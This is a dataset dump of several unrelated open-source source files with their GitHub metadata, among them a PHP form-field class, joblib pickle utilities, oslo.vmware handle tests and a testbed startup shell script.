text
stringlengths
2
1.04M
meta
dict
<?php namespace Gregwar\Formidable\Fields; use Gregwar\Formidable\Language\Language; use Gregwar\Formidable\ParserData; use Gregwar\Formidable\DataForm; use Gregwar\Formidable\Form; /** * Multiple zone * * @author Grégoire Passault <g.passault@gmail.com> */ class Multiple extends Field { /** * Parser data of the internal form */ protected $parserData = null; /** * Internal forms */ protected $forms = array(); /** * Entries constraints */ protected $minEntries = null; protected $maxEntries = null; public function setParserData(ParserData $parserData) { $this->parserData = $parserData; } public function push($name, $value = null) { switch ($name) { case 'min-entries': $this->minEntries = (int)$value; return; case 'max-entries': $this->maxEntries = (int)$value; return; case 'entries': $this->minEntries = (int)$value; $this->maxEntries = (int)$value; return; } parent::push($name, $value); } protected function getForm($index) { if (!isset($this->forms[$index])) { $this->forms[$index] = new DataForm($this->parserData, $this->language); } return $this->forms[$index]; } public function setValues($values, array $files) { $this->forms = array(); $indexes = array(); if ($values) { $indexes = array_keys($values); } else if ($files) { $indexes = array_keys($files); } foreach ($indexes as $index) { $v = isset($values[$index]) ? $values[$index] : array(); $f = isset($files[$index]) ? $files[$index] : array(); $this->getForm($index)->setValues($v, $f); } } public function setValue($value, $default = false) { $this->setValues($value, array()); } public function check() { $count = count($this->forms); if ($this->minEntries !== null && $count < $this->minEntries) { return array('multiple_min', $this->minEntries, $this->printName()); } if ($this->maxEntries !== null && $count > $this->maxEntries) { return array('multiple_max', $this->maxEntries, $this->printName()); } } public function checkForms() { $errors = array(); foreach ($this->forms as $form) { $errors = array_merge($errors, $form->check()); } return $errors; } public function getValue() { $value = array(); foreach ($this->forms as $index => $form) { $value[$index] = $form->getValues(); } return $value; } public function getMappingValue() { $value = array(); foreach ($this->forms as $index => $form) { $value[$index] = $form->getData(); } return $value; } protected function getHtmlOfForm(Form $form, $index) { $myName = $this->name; $form->hookNames(function($name) use ($myName, $index) { return $myName.'['.$index.']['.$name.']'; }); return (string)$form; } public function getHtml() { $js = $this->needJs(); for ($i=0; $i<$this->minEntries; $i++) { $this->getForm($i); } $id = 'multiple'.uniqid(time().mt_rand()); $prototype = new DataForm($this->parserData, $this->language); $html = '<div class="multiple">'."\n"; $html .= '<div id="'.$id.'" class="multiple-forms">'."\n"; foreach ($this->forms as $index => $form) { $fid = 'multiple'.uniqid(time().mt_rand()); $html .= '<div class="multiple-element" id="'.$fid.'"/>'; $html .= $this->getHtmlOfForm($form, $index); if ($js) { $html .= '<span class="multiple-remove">'; $html .= '<a href="javascript:Formidable.removeInput(\''.$fid.'\')">'; $html .= $this->language->translate('remove'); $html .= '</a><br />'; $html .= '</span>'; } $html .= '</div>'; } $html .= '</div>'."\n"; $html .= '<div class="multiple-buttons">'; if ($js) { $html .= '<script type="text/javascript">'; $html .= 'var '.$id.'_code = '; $html .= json_encode($this->getHtmlOfForm($prototype, '{number}')); $html .= ";\n"; $html .= 'Formidable.multiple["'.$id.'"] = '.count($this->forms).";\n"; $html .= '</script>'; $html .= '<a href="javascript:Formidable.addInput(\''.$id.'\', '.$id.'_code);">'; $html .= $this->language->translate('add'); $html .= '</a>'; } $html .= '</div>'; $html .= '</div>'."\n"; return $html; } public function __sleep() { return array_merge(array('parserData', 'minEntries', 'maxEntries'), parent::__sleep()); } public function needJs() { return ($this->minEntries === null || $this->maxEntries === null || ($this->minEntries != $this->maxEntries)); } }
{ "content_hash": "e539bf4b4071500dfe0d7baab50a5ad9", "timestamp": "", "source": "github", "line_count": 202, "max_line_length": 93, "avg_line_length": 26.41089108910891, "alnum_prop": 0.48678537956888474, "repo_name": "Gregwar/Formidable", "id": "21873b9182c615f0a9b71d92df18b5e4725a98d9", "size": "5336", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "Fields/Multiple.php", "mode": "33188", "license": "mit", "language": [ { "name": "HTML", "bytes": "9248" }, { "name": "JavaScript", "bytes": "852" }, { "name": "PHP", "bytes": "136926" } ], "symlink_target": "" }
from direct.directnotify import DirectNotifyGlobal from toontown.parties.DistributedPartyJukeboxActivityBaseAI import DistributedPartyJukeboxActivityBaseAI class DistributedPartyJukebox40ActivityAI(DistributedPartyJukeboxActivityBaseAI): notify = DirectNotifyGlobal.directNotify.newCategory("DistributedPartyJukebox40ActivityAI")
{ "content_hash": "e2b801d2deeafa9da9888df5158c6f06", "timestamp": "", "source": "github", "line_count": 6, "max_line_length": 104, "avg_line_length": 56, "alnum_prop": 0.9047619047619048, "repo_name": "Spiderlover/Toontown", "id": "d392b804b548c6ae9d6e24d1e111df3a2dd4cb57", "size": "336", "binary": false, "copies": "4", "ref": "refs/heads/master", "path": "toontown/parties/DistributedPartyJukebox40ActivityAI.py", "mode": "33188", "license": "mit", "language": [ { "name": "Batchfile", "bytes": "7774" }, { "name": "Python", "bytes": "17241353" }, { "name": "Shell", "bytes": "7699" } ], "symlink_target": "" }
#include <QtCore/QTime> #include <QtCore/QDebug> #include <QtDispatch/QtDispatch> #include <QtNetwork/QNetworkAccessManager> #include <QtNetwork/QNetworkReply> #include "Qt_tests.h" /* Tests the source type network manager */ extern "C" void Qt_dispatch_source_network_blocks(){ char argv[] = "test"; int argc = 1; QDispatchApplication app(argc, (char**)&argv); MU_BEGIN_TEST(Qt_dispatch_source_network_blocks); // configure the source QNetworkAccessManager* man = new QNetworkAccessManager(); QDispatchSource src(new QDispatchSourceTypeNetworkManager(man)); src.setHandler(^{ QNetworkReply* r = QDispatchSource::data<QNetworkReply>(); MU_ASSERT_NOT_NULL(r); QString content = r->readAll(); if(content.isEmpty()) content = (r->readAll()); MU_MESSAGE("Received response contains:"); qDebug() << "\t\t" << content; r->deleteLater(); MU_PASS(""); }); // now post a request man->get(QNetworkRequest(QUrl("http://www.google.com"))); app.exec(); MU_END_TEST; }
{ "content_hash": "3226147c4b11304c062d0d78f0117301", "timestamp": "", "source": "github", "line_count": 47, "max_line_length": 65, "avg_line_length": 21.72340425531915, "alnum_prop": 0.6865817825661117, "repo_name": "mykeul/xdispatch", "id": "9b8806ea7687b924d1fb55095fc1f6771e456b8d", "size": "1763", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "tests/Qt_dispatch_source_network_blocks.cpp", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "C", "bytes": "1035813" }, { "name": "C++", "bytes": "387237" }, { "name": "CMake", "bytes": "188470" }, { "name": "Groff", "bytes": "73820" }, { "name": "Makefile", "bytes": "896" }, { "name": "Objective-C", "bytes": "17055" }, { "name": "Perl", "bytes": "7053" }, { "name": "Ruby", "bytes": "769" }, { "name": "Shell", "bytes": "32460" } ], "symlink_target": "" }
// // This file was generated by the JavaTM Architecture for XML Binding(JAXB) Reference Implementation, vJAXB 2.1.10 in JDK 6 // See <a href="http://java.sun.com/xml/jaxb">http://java.sun.com/xml/jaxb</a> // Any modifications to this file will be lost upon recompilation of the source schema. // Generated on: 2012.08.17 at 12:18:01 PM EDT // package org.slc.sli.test.edfi.entitiesR1; import java.util.ArrayList; import java.util.List; import javax.xml.bind.annotation.XmlAccessType; import javax.xml.bind.annotation.XmlAccessorType; import javax.xml.bind.annotation.XmlRootElement; import javax.xml.bind.annotation.XmlType; /** * <p>Java class for anonymous complex type. * * <p>The following schema fragment specifies the expected content contained within this class. * * <pre> * &lt;complexType> * &lt;complexContent> * &lt;restriction base="{http://www.w3.org/2001/XMLSchema}anyType"> * &lt;choice maxOccurs="unbounded"> * &lt;element name="section" type="{}section"/> * &lt;/choice> * &lt;/restriction> * &lt;/complexContent> * &lt;/complexType> * </pre> * * */ @XmlAccessorType(XmlAccessType.FIELD) @XmlType(name = "", propOrder = { "section" }) @XmlRootElement(name = "InterchangeSection") public class InterchangeSection { protected List<Section> section; /** * Gets the value of the section property. * * <p> * This accessor method returns a reference to the live list, * not a snapshot. Therefore any modification you make to the * returned list will be present inside the JAXB object. * This is why there is not a <CODE>set</CODE> method for the section property. * * <p> * For example, to add a new item, do as follows: * <pre> * getSection().add(newItem); * </pre> * * * <p> * Objects of the following type(s) are allowed in the list * {@link Section } * * */ public List<Section> getSection() { if (section == null) { section = new ArrayList<Section>(); } return this.section; } }
{ "content_hash": "1ea1e835418ec783c00fef15b032b2c1", "timestamp": "", "source": "github", "line_count": 75, "max_line_length": 124, "avg_line_length": 29.413333333333334, "alnum_prop": 0.6223934723481415, "repo_name": "inbloom/secure-data-service", "id": "7d8923e15811ad075fb7bf7036516fa11250d63e", "size": "2206", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "tools/data-tools/src/org/slc/sli/test/edfi/entitiesR1/InterchangeSection.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "AspectJ", "bytes": "9748" }, { "name": "CSS", "bytes": "112888" }, { "name": "Clojure", "bytes": "37861" }, { "name": "CoffeeScript", "bytes": "18305" }, { "name": "Groovy", "bytes": "26568" }, { "name": "Java", "bytes": "12115410" }, { "name": "JavaScript", "bytes": "390822" }, { "name": "Objective-C", "bytes": "490386" }, { "name": "Python", "bytes": "34255" }, { "name": "Ruby", "bytes": "2543748" }, { "name": "Shell", "bytes": "111267" }, { "name": "XSLT", "bytes": "144746" } ], "symlink_target": "" }
package com.centzy.badger.fdb.database.impl; import com.centzy.badger.common.Constants; import com.centzy.badger.common.Preconditions2; import com.centzy.badger.fdb.database.BadgerFdbRegistry; import com.foundationdb.FDB; import com.google.common.base.Preconditions; import javax.annotation.Nullable; /** * @author Peter Edge (peter@locality.com). */ class BadgerFdbRegistryImpl implements BadgerFdbRegistry { static final byte[] DEFAULT_DATABASE = "DB".getBytes(); private FDB fdb; private String namespace; private String clusterFilePath; private byte[] databaseName; private Long maximumCacheSize; @Override public void registerFDB(FDB fdb) { Preconditions.checkArgument(this.fdb == null); this.fdb = Preconditions.checkNotNull(fdb); } @Override public void registerNamespace(String namespace) { Preconditions.checkArgument(this.namespace == null); this.namespace = Preconditions2.checkNotEmpty(namespace); } @Override public void registerClusterFilePath(String clusterFilePath) { Preconditions.checkArgument(this.clusterFilePath == null); this.clusterFilePath = Preconditions2.checkNotEmpty(clusterFilePath); } @Override public void registerDatabaseName(byte[] databaseName) { Preconditions.checkArgument(this.databaseName == null); Preconditions.checkNotNull(clusterFilePath); this.databaseName = Preconditions.checkNotNull(databaseName); } @Override public void registerMaximumCacheSize(long maximumCacheSize) { Preconditions.checkArgument(this.maximumCacheSize == null); Preconditions.checkArgument(maximumCacheSize >= 0L); this.maximumCacheSize = maximumCacheSize; } FDB getFDB() { return Preconditions.checkNotNull(fdb); } String getNamespace() { return Preconditions.checkNotNull(namespace); } @Nullable String getClusterFilePath() { return clusterFilePath; } @Nullable byte[] getDatabaseName() { return databaseName == null ? DEFAULT_DATABASE : databaseName; } long getMaximumCacheSize() { return maximumCacheSize == null ? Constants.DEFAULT_BADGER_DATABASE_CACHE_MAXIMUM_SIZE : maximumCacheSize; } }
{ "content_hash": "3af8e0d72dedd17b0de7fb18acaa32e7", "timestamp": "", "source": "github", "line_count": 77, "max_line_length": 110, "avg_line_length": 28.09090909090909, "alnum_prop": 0.7572815533980582, "repo_name": "peter-edge/badger-java", "id": "d50a96ec037ddf55cd0f813f0bccdd0b4b61fe5f", "size": "2163", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/main/java/com/centzy/badger/fdb/database/impl/BadgerFdbRegistryImpl.java", "mode": "33188", "license": "mit", "language": [ { "name": "Java", "bytes": "505325" } ], "symlink_target": "" }
using Util.Ui.Components; using Util.Ui.Material.Tabs.Wrappers; using Util.Ui.Operations.Styles; namespace Util.Ui.Material.Tabs { /// <summary> /// 导航选项卡 /// </summary> public interface ITabNav : IContainer<ITabNavWrapper>, IColor, IBackgroundColor { } }
{ "content_hash": "47d9ea3ad3217309a3f9596ab73730df", "timestamp": "", "source": "github", "line_count": 11, "max_line_length": 85, "avg_line_length": 25.181818181818183, "alnum_prop": 0.6967509025270758, "repo_name": "yuleyule66/Util", "id": "23cb030e2727cf89bf9a332e3124e25584ecb24b", "size": "289", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/Util.Ui.Angular.Material/Material/Tabs/ITabNav.cs", "mode": "33188", "license": "mit", "language": [ { "name": "C#", "bytes": "744850" }, { "name": "CoffeeScript", "bytes": "43" }, { "name": "PowerShell", "bytes": "5766" }, { "name": "Shell", "bytes": "94" } ], "symlink_target": "" }
<div id="toolbar-share" data-toolbar="style-option" class="btn-toolbar btn-toolbar-default"> <i class="fa fa-share-alt"></i> </div> <div id="toolbar-share-options" class="hidden btn-toolbar-warning"> <div id="icons" class="fa-1x"> <a id="icon_share_twitter" data-share="twitter" title="Twitter"> <i class="fa fa-twitter" aria-hidden="true"></i> </a> <a id="icon_share_facebook" data-share="facebook" title="Facebook"> <i class="fa fa-facebook" aria-hidden="true"></i> </a> <a id="icon_share_google_plus" data-share="google" title="Google +"> <i class="fa fa-google-plus" aria-hidden="true"></i> </a> <a id="icon_share_linkedin" data-share="linkedin" title="Linkedin"> <i class="fa fa-linkedin" aria-hidden="true"></i> </a> <a id="icon_share_mail" data-share="mail" title="Envoyer par mail"> <i class="fa fa-envelope-o" aria-hidden="true"></i> </a> </div> </div>
{ "content_hash": "21ea786c79b8676230f58cc3e3b33913", "timestamp": "", "source": "github", "line_count": 22, "max_line_length": 92, "avg_line_length": 40.90909090909091, "alnum_prop": 0.65, "repo_name": "cavo789/marknotes", "id": "8e8745172a76d804d8c2d333d2465cdceeaaf0bc", "size": "900", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/marknotes/plugins/page/html/share/template.html", "mode": "33188", "license": "mit", "language": [ { "name": "Batchfile", "bytes": "45596" }, { "name": "C", "bytes": "8656" }, { "name": "CSS", "bytes": "611146" }, { "name": "Dockerfile", "bytes": "315" }, { "name": "HTML", "bytes": "86141" }, { "name": "Hack", "bytes": "18933" }, { "name": "JavaScript", "bytes": "6201160" }, { "name": "M4", "bytes": "2250" }, { "name": "PHP", "bytes": "11092049" }, { "name": "SCSS", "bytes": "65612" }, { "name": "Shell", "bytes": "231" }, { "name": "VBA", "bytes": "45352" } ], "symlink_target": "" }
"""Utilities for fast persistence of big data, with optional compression.""" # Author: Gael Varoquaux <gael dot varoquaux at normalesup dot org> # Copyright (c) 2009 Gael Varoquaux # License: BSD Style, 3 clauses. import pickle import io import warnings import contextlib from contextlib import closing from ._compat import PY3_OR_LATER, PY27 from .compressor import _ZFILE_PREFIX from .compressor import _COMPRESSORS if PY3_OR_LATER: Unpickler = pickle._Unpickler Pickler = pickle._Pickler xrange = range else: Unpickler = pickle.Unpickler Pickler = pickle.Pickler try: import numpy as np except ImportError: np = None try: # The python standard library can be built without bz2 so we make bz2 # usage optional. # see https://github.com/scikit-learn/scikit-learn/issues/7526 for more # details. import bz2 except ImportError: bz2 = None # Buffer size used in io.BufferedReader and io.BufferedWriter _IO_BUFFER_SIZE = 1024 ** 2 def _is_raw_file(fileobj): """Check if fileobj is a raw file object, e.g created with open.""" if PY3_OR_LATER: fileobj = getattr(fileobj, 'raw', fileobj) return isinstance(fileobj, io.FileIO) else: return isinstance(fileobj, file) # noqa def _get_prefixes_max_len(): # Compute the max prefix len of registered compressors. prefixes = [len(compressor.prefix) for compressor in _COMPRESSORS.values()] prefixes += [len(_ZFILE_PREFIX)] return max(prefixes) ############################################################################### # Cache file utilities def _detect_compressor(fileobj): """Return the compressor matching fileobj. Parameters ---------- fileobj: file object Returns ------- str in {'zlib', 'gzip', 'bz2', 'lzma', 'xz', 'compat', 'not-compressed'} """ # Read the magic number in the first bytes of the file. max_prefix_len = _get_prefixes_max_len() if hasattr(fileobj, 'peek'): # Peek allows to read those bytes without moving the cursor in the # file whic. first_bytes = fileobj.peek(max_prefix_len) else: # Fallback to seek if the fileobject is not peekable. first_bytes = fileobj.read(max_prefix_len) fileobj.seek(0) if first_bytes.startswith(_ZFILE_PREFIX): return "compat" else: for name, compressor in _COMPRESSORS.items(): if first_bytes.startswith(compressor.prefix): return name return "not-compressed" def _buffered_read_file(fobj): """Return a buffered version of a read file object.""" if PY27 and bz2 is not None and isinstance(fobj, bz2.BZ2File): # Python 2.7 doesn't work with BZ2File through a buffer: "no # attribute 'readable'" error. return fobj else: return io.BufferedReader(fobj, buffer_size=_IO_BUFFER_SIZE) def _buffered_write_file(fobj): """Return a buffered version of a write file object.""" if PY27 and bz2 is not None and isinstance(fobj, bz2.BZ2File): # Python 2.7 doesn't work with BZ2File through a buffer: no attribute # 'writable'. # BZ2File doesn't implement the file object context manager in python 2 # so we wrap the fileobj using `closing`. return closing(fobj) else: return io.BufferedWriter(fobj, buffer_size=_IO_BUFFER_SIZE) @contextlib.contextmanager def _read_fileobject(fileobj, filename, mmap_mode=None): """Utility function opening the right fileobject from a filename. The magic number is used to choose between the type of file object to open: * regular file object (default) * zlib file object * gzip file object * bz2 file object * lzma file object (for xz and lzma compressor) Parameters ---------- fileobj: file object compressor: str in {'zlib', 'gzip', 'bz2', 'lzma', 'xz', 'compat', 'not-compressed'} filename: str filename path corresponding to the fileobj parameter. mmap_mode: str memory map mode that should be used to open the pickle file. This parameter is useful to verify that the user is not trying to one with compression. Default: None. Returns ------- a file like object """ # Detect if the fileobj contains compressed data. compressor = _detect_compressor(fileobj) if compressor == 'compat': # Compatibility with old pickle mode: simply return the input # filename "as-is" and let the compatibility function be called by the # caller. warnings.warn("The file '%s' has been generated with a joblib " "version less than 0.10. " "Please regenerate this pickle file." % filename, DeprecationWarning, stacklevel=2) yield filename else: if compressor in _COMPRESSORS: # based on the compressor detected in the file, we open the # correct decompressor file object, wrapped in a buffer. compressor_wrapper = _COMPRESSORS[compressor] inst = compressor_wrapper.decompressor_file(fileobj) fileobj = _buffered_read_file(inst) # Checking if incompatible load parameters with the type of file: # mmap_mode cannot be used with compressed file or in memory buffers # such as io.BytesIO. if mmap_mode is not None: if isinstance(fileobj, io.BytesIO): warnings.warn('In memory persistence is not compatible with ' 'mmap_mode "%(mmap_mode)s" flag passed. ' 'mmap_mode option will be ignored.' % locals(), stacklevel=2) elif compressor != 'not-compressed': warnings.warn('mmap_mode "%(mmap_mode)s" is not compatible ' 'with compressed file %(filename)s. ' '"%(mmap_mode)s" flag will be ignored.' % locals(), stacklevel=2) elif not _is_raw_file(fileobj): warnings.warn('"%(fileobj)r" is not a raw file, mmap_mode ' '"%(mmap_mode)s" flag will be ignored.' % locals(), stacklevel=2) yield fileobj def _write_fileobject(filename, compress=("zlib", 3)): """Return the right compressor file object in write mode.""" compressmethod = compress[0] compresslevel = compress[1] if compressmethod in _COMPRESSORS.keys(): file_instance = _COMPRESSORS[compressmethod].compressor_file( filename, compresslevel=compresslevel) return _buffered_write_file(file_instance) else: file_instance = _COMPRESSORS['zlib'].compressor_file( filename, compresslevel=compresslevel) return _buffered_write_file(file_instance) # Utility functions/variables from numpy required for writing arrays. # We need at least the functions introduced in version 1.9 of numpy. Here, # we use the ones from numpy 1.10.2. BUFFER_SIZE = 2 ** 18 # size of buffer for reading npz files in bytes def _read_bytes(fp, size, error_template="ran out of data"): """Read from file-like object until size bytes are read. Raises ValueError if not EOF is encountered before size bytes are read. Non-blocking objects only supported if they derive from io objects. Required as e.g. ZipExtFile in python 2.6 can return less data than requested. This function was taken from numpy/lib/format.py in version 1.10.2. Parameters ---------- fp: file-like object size: int error_template: str Returns ------- a bytes object The data read in bytes. """ data = bytes() while True: # io files (default in python3) return None or raise on # would-block, python2 file will truncate, probably nothing can be # done about that. note that regular files can't be non-blocking try: r = fp.read(size - len(data)) data += r if len(r) == 0 or len(data) == size: break except io.BlockingIOError: pass if len(data) != size: msg = "EOF: reading %s, expected %d bytes got %d" raise ValueError(msg % (error_template, size, len(data))) else: return data
{ "content_hash": "92013c3c3e5dff5a9f1eb7820e09602c", "timestamp": "", "source": "github", "line_count": 245, "max_line_length": 79, "avg_line_length": 34.43265306122449, "alnum_prop": 0.621977240398293, "repo_name": "vortex-ape/scikit-learn", "id": "1ebf1aa61bb44e345a09c6ce01b8242a0aefda51", "size": "8436", "binary": false, "copies": "15", "ref": "refs/heads/master", "path": "sklearn/externals/joblib/numpy_pickle_utils.py", "mode": "33188", "license": "bsd-3-clause", "language": [ { "name": "Batchfile", "bytes": "3366" }, { "name": "C", "bytes": "394787" }, { "name": "C++", "bytes": "140225" }, { "name": "Makefile", "bytes": "1588" }, { "name": "PowerShell", "bytes": "17312" }, { "name": "Python", "bytes": "6351428" }, { "name": "Shell", "bytes": "8687" } ], "symlink_target": "" }
# Copyright (c) 2014 VMware, Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """ Unit tests for read and write handles for image transfer. """ import mock from oslo.vmware import exceptions from oslo.vmware import rw_handles from oslo.vmware import vim_util from tests import base class FileHandleTest(base.TestCase): """Tests for FileHandle.""" def test_close(self): file_handle = mock.Mock() vmw_http_file = rw_handles.FileHandle(file_handle) vmw_http_file.close() file_handle.close.assert_called_once_with() def test_del(self): file_handle = mock.Mock() vmw_http_file = rw_handles.FileHandle(file_handle) del(vmw_http_file) file_handle.close.assert_called_once_with() def test_find_vmdk_url(self): device_url_0 = mock.Mock() device_url_0.disk = False device_url_1 = mock.Mock() device_url_1.disk = True device_url_1.url = 'https://*/ds1/vm1.vmdk' lease_info = mock.Mock() lease_info.deviceUrl = [device_url_0, device_url_1] host = '10.1.2.3' exp_url = 'https://%s/ds1/vm1.vmdk' % host vmw_http_file = rw_handles.FileHandle(None) self.assertEqual(exp_url, vmw_http_file._find_vmdk_url(lease_info, host)) class FileWriteHandleTest(base.TestCase): """Tests for FileWriteHandle.""" def setUp(self): super(FileWriteHandleTest, self).setUp() vim_cookie = mock.Mock() vim_cookie.name = 'name' vim_cookie.value = 'value' self._conn = mock.Mock() patcher = mock.patch('httplib.HTTPConnection') self.addCleanup(patcher.stop) HTTPConnectionMock = patcher.start() HTTPConnectionMock.return_value = self._conn self.vmw_http_write_file = rw_handles.FileWriteHandle( '10.1.2.3', 'dc-0', 'ds-0', [vim_cookie], '1.vmdk', 100, 'http') def test_write(self): self.vmw_http_write_file.write(None) self._conn.send.assert_called_once_with(None) def test_close(self): self.vmw_http_write_file.close() self._conn.getresponse.assert_called_once_with() self._conn.close.assert_called_once_with() class VmdkWriteHandleTest(base.TestCase): """Tests for VmdkWriteHandle.""" def setUp(self): super(VmdkWriteHandleTest, self).setUp() self._conn = mock.Mock() patcher = mock.patch('httplib.HTTPConnection') self.addCleanup(patcher.stop) HTTPConnectionMock = patcher.start() HTTPConnectionMock.return_value = self._conn def _create_mock_session(self, disk=True, progress=-1): device_url = mock.Mock() device_url.disk = disk device_url.url = 'http://*/ds/disk1.vmdk' lease_info = mock.Mock() lease_info.deviceUrl = [device_url] session = mock.Mock() def session_invoke_api_side_effect(module, method, *args, **kwargs): if module == session.vim: if method == 'ImportVApp': return mock.Mock() elif method == 'HttpNfcLeaseProgress': self.assertEqual(progress, kwargs['percent']) return return lease_info session.invoke_api.side_effect = session_invoke_api_side_effect vim_cookie = mock.Mock() vim_cookie.name = 'name' vim_cookie.value = 'value' session.vim.client.options.transport.cookiejar = [vim_cookie] return session def test_init_failure(self): session = self._create_mock_session(False) self.assertRaises(exceptions.VimException, lambda: rw_handles.VmdkWriteHandle(session, '10.1.2.3', 'rp-1', 'folder-1', None, 100)) def test_write(self): session = self._create_mock_session() handle = rw_handles.VmdkWriteHandle(session, '10.1.2.3', 'rp-1', 'folder-1', None, 100) data = [1] * 10 handle.write(data) self.assertEqual(len(data), handle._bytes_written) self._conn.send.assert_called_once_with(data) def test_update_progress(self): vmdk_size = 100 data_size = 10 session = self._create_mock_session(True, 10) handle = rw_handles.VmdkWriteHandle(session, '10.1.2.3', 'rp-1', 'folder-1', None, vmdk_size) handle.write([1] * data_size) handle.update_progress() def test_update_progress_with_error(self): session = self._create_mock_session(True, 10) handle = rw_handles.VmdkWriteHandle(session, '10.1.2.3', 'rp-1', 'folder-1', None, 100) session.invoke_api.side_effect = exceptions.VimException(None) self.assertRaises(exceptions.VimException, handle.update_progress) def test_close(self): session = self._create_mock_session() handle = rw_handles.VmdkWriteHandle(session, '10.1.2.3', 'rp-1', 'folder-1', None, 100) def session_invoke_api_side_effect(module, method, *args, **kwargs): if module == vim_util and method == 'get_object_property': return 'ready' self.assertEqual(session.vim, module) self.assertEqual('HttpNfcLeaseComplete', method) session.invoke_api = mock.Mock( side_effect=session_invoke_api_side_effect) handle.close() self.assertEqual(2, session.invoke_api.call_count) class VmdkReadHandleTest(base.TestCase): """Tests for VmdkReadHandle.""" def setUp(self): super(VmdkReadHandleTest, self).setUp() req_patcher = mock.patch('urllib2.Request') self.addCleanup(req_patcher.stop) RequestMock = req_patcher.start() RequestMock.return_value = mock.Mock() urlopen_patcher = mock.patch('urllib2.urlopen') self.addCleanup(urlopen_patcher.stop) urlopen_mock = urlopen_patcher.start() self._conn = mock.Mock() urlopen_mock.return_value = self._conn def _create_mock_session(self, disk=True, progress=-1): device_url = mock.Mock() device_url.disk = disk device_url.url = 'http://*/ds/disk1.vmdk' lease_info = mock.Mock() lease_info.deviceUrl = [device_url] session = mock.Mock() def session_invoke_api_side_effect(module, method, *args, **kwargs): if module == session.vim: if method == 'ExportVm': return mock.Mock() elif method == 'HttpNfcLeaseProgress': self.assertEqual(progress, kwargs['percent']) return return lease_info session.invoke_api.side_effect = session_invoke_api_side_effect vim_cookie = mock.Mock() vim_cookie.name = 'name' vim_cookie.value = 'value' session.vim.client.options.transport.cookiejar = [vim_cookie] return session def test_init_failure(self): session = self._create_mock_session(False) self.assertRaises(exceptions.VimException, lambda: rw_handles.VmdkReadHandle(session, '10.1.2.3', 'vm-1', '[ds] disk1.vmdk', 100)) def test_read(self): chunk_size = rw_handles.READ_CHUNKSIZE session = self._create_mock_session() self._conn.read.return_value = [1] * chunk_size handle = rw_handles.VmdkReadHandle(session, '10.1.2.3', 'vm-1', '[ds] disk1.vmdk', chunk_size * 10) handle.read(chunk_size) self.assertEqual(chunk_size, handle._bytes_read) self._conn.read.assert_called_once_with(chunk_size) def test_update_progress(self): chunk_size = rw_handles.READ_CHUNKSIZE vmdk_size = chunk_size * 10 session = self._create_mock_session(True, 10) self._conn.read.return_value = [1] * chunk_size handle = rw_handles.VmdkReadHandle(session, '10.1.2.3', 'vm-1', '[ds] disk1.vmdk', vmdk_size) handle.read(chunk_size) handle.update_progress() def test_update_progress_with_error(self): session = self._create_mock_session(True, 10) handle = rw_handles.VmdkReadHandle(session, '10.1.2.3', 'vm-1', '[ds] disk1.vmdk', 100) session.invoke_api.side_effect = exceptions.VimException(None) self.assertRaises(exceptions.VimException, handle.update_progress) def test_close(self): session = self._create_mock_session() handle = rw_handles.VmdkReadHandle(session, '10.1.2.3', 'vm-1', '[ds] disk1.vmdk', 100) def session_invoke_api_side_effect(module, method, *args, **kwargs): if module == vim_util and method == 'get_object_property': return 'ready' self.assertEqual(session.vim, module) self.assertEqual('HttpNfcLeaseComplete', method) session.invoke_api = mock.Mock( side_effect=session_invoke_api_side_effect) handle.close() self.assertEqual(2, session.invoke_api.call_count) class ImageReadHandleTest(base.TestCase): """Tests for ImageReadHandle.""" def test_read(self): max_items = 10 item = [1] * 10 class ImageReadIterator: def __init__(self): self.num_items = 0 def __iter__(self): return self def next(self): if (self.num_items < max_items): self.num_items += 1 return item raise StopIteration handle = rw_handles.ImageReadHandle(ImageReadIterator()) for _ in range(0, max_items): self.assertEqual(item, handle.read(10)) self.assertFalse(handle.read(10))
{ "content_hash": "8e61045ba7259ed1d2b011febc02b0ab", "timestamp": "", "source": "github", "line_count": 300, "max_line_length": 78, "avg_line_length": 38.29666666666667, "alnum_prop": 0.5434763687004961, "repo_name": "citrix-openstack-build/oslo.vmware", "id": "a27f70dcb9c68fb9e84ff924554042cf5198d159", "size": "11489", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "tests/test_rw_handles.py", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Python", "bytes": "203261" } ], "symlink_target": "" }
set -e # exit on an error source lib.sh mkdir -p /tmp/eq (docker images | grep $DOCKER_IMAGE_NAME) || \ ( INFO "Building docker image" BUILD_DOCKER_IMAGE ) (ls -1 zk_testbed/zookeeper/build | grep jar) || \ ( INFO "Building zookeeper" ( cd zk_testbed/zookeeper; ant) ) if [ -z $DISABLE_EQ ]; then INFO "Starting Earthquake Ethernet Switch" EQ_SWITCH > /tmp/eq-switch.log 2>&1 & EQ_SWITCH_PID=$! echo $EQ_SWITCH_PID > /tmp/eq-switch.pid INFO "Starting Earthquake Orchestrator" EQ_ORCHESTRATOR > /tmp/eq-orchestrator.log 2>&1 & EQ_ORCHESTRATOR_PID=$! echo $EQ_ORCHESTRATOR_PID > /tmp/eq-orchestrator.pid INFO "Starting Earthquake Ethernet Inspector" EQ_INSPECTOR > /tmp/eq-inspector.log 2>&1 & EQ_INSPECTOR_PID=$! echo $EQ_INSPECTOR_PID > /tmp/eq-inspector.pid IMPORTANT "Please kill the processes (switch=${EQ_SWITCH_PID}, orchestrator=${EQ_ORCHESTRATOR_PID}, and inspector=${EQ_INSPECTOR_PID}) after you finished all of the experiments" fi IMPORTANT "Please continue to 100-run-experiment.sh.."
